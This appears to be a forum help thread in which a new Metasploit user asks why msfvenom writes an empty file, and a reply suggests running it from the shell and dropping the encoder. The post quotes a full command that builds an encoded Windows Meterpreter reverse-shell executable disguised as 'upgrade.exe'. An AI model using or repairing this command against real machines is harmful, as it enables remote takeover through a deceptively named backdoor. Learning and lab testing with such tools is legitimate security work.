Metasploit: Msfvenom Problem: Empty File

[srootz]

Hey guys,

so I just started using metasploit, but i have the following problem: everytime I use msfvenom to generate a .exe file the following happens:

I type something like:

msfvenom -p windows/meterpreter/reversetcp -e x86/shikataganai -i 5 LHOST=<local IP> LPORT=1337 -f exe > upgrade.exe

the output is the following:

msf > msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

* exec: msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

The upgrade.exe file is empty.
Database is connected.
and I have no idea what to do.

..

Hopefully you can help me!

Greetings,
S.

Are you running it from the command line or from inside Metasploit? It should be the command line.

Run it without writing to a file `> upgraid.exe`

You should see the payload print to the screen

if you see no output still, then also exclude the encoder
